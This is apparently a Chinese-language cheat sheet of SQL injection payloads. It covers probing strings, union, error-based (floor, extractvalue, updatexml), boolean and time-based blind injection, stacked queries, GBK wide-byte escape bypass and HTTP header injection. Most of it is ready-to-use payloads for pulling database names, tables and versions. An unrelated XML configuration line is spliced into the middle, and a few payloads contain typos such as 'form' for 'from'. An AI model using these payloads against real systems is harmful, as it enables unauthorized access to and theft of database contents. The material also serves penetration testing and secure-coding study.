sql注入playload总结
/?q=1/?q=1'/?q=1"/?q=[1]/?q[]=1/?q=1`/?q=1\/?q=1/*'*//?q=1/*!1111'*//?q=1''asd'' <== concat string/?q=1'or'1'='1/?q=1 or 1=1/?q='or''='/?q=")/?q=')/?q=-x()
SQLserver 用的payload0101%'and 1=(select @@version) and '%'='GS的一个客户端参数<add PropertyName="FIGroupChgByPosition" Value="1" name="FIGroupChgByPosition" />
1、Union联合注入?id=1 order by 1–+?id=-1 union select 1,2,3–+?id=-1 union select 1,database(),3–+?id=-1 union select 1,group_concat(tables),3 from information_schema.tables where table_schema=database()–+2、报错回显(1)Floor()id = 1 and (select 1 from (select count(*),concat(floor(rand(0)*2),database())x from information_schema.tables group by x)a)进一步注入只需把划线位置换成注入语句database() => (select group_concat(table_name) from x where table_schema=database())x from…(2)Extractvalue()id = 1 and extractvalue(1,concat(0x7e,(select user()),0x7e))0x7e是波浪线(~),用于将注出来的信息和其他报错信息隔离开0x3a是冒号(:)(3)Updatexml()id=1 and updatexml(1,concat(0x7e,database(),0x7e),1)3、bool盲注?id=1 and 1=1–+?id=1 and 1=2–+?id=1 and length(database())>1–+?id=1 and ascii(mid(database(),1,1))>90–+?id=1 and length((select table_name from information_schema.tables where table_schema=’security’ limit 0,1))>1–+?id=1 and ascii(mid((select table_name form information_schema.tables where table_schema=’security’ limit 0,1),1,1))>90–+4、时间盲注?id=1 and sleep(3) and 1=1–+?id=1 and sleep(3) and 1=2–+?id=1 and sleep(3) and length(database())>1–+?id=1 and sleep(3) and ascii(mid(database(),1,1))>100–+5、堆叠查询注入试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。堆叠注入存在一定局限性,并不是每个环境下都可以执行,可能受到API或者数据库引擎不支持的限制,也可能因为权限不足。Select sno from student;select 1 from student;6、宽字节注入 转义符是反斜杠\,ASCII码为0x5C,在\前面增加高字节,0x5C被当做低字节,组合为“汉字”,导致\符号被“吃掉”,后续字符逃出限制,从而绕过转义。出现宽字节注入漏洞的条件:(1)数据库编码要是GB系列(GBK、GB18030、BIG5等低字节符范围中含有0x5C的双字节字符编码集均存在宽字节注入/绕过,GB2312、UTF编码中\不会被吃掉)(2)使用了转义函数,将GET、POST、cookie传递的参数进行过滤,将单引号、双引号、null等敏感字符用转义符 \ 进行转义。常见的包括addslashes()、mysql_real_escape_string()函数,转义函数的转义作用,就是我们常说的“过滤机制”。当两个条件都满足时才会出现宽字节注入。select a from b where table_schema=%df’abc%df’7、Http Header注入开发人员为验证客户信息(cookie)或用http header 获取客户信息(如:useragent、accept),会对http header 信息进行获取并使用sql进行处理,若安全措施没有做好,很有可能导致sql inject漏洞。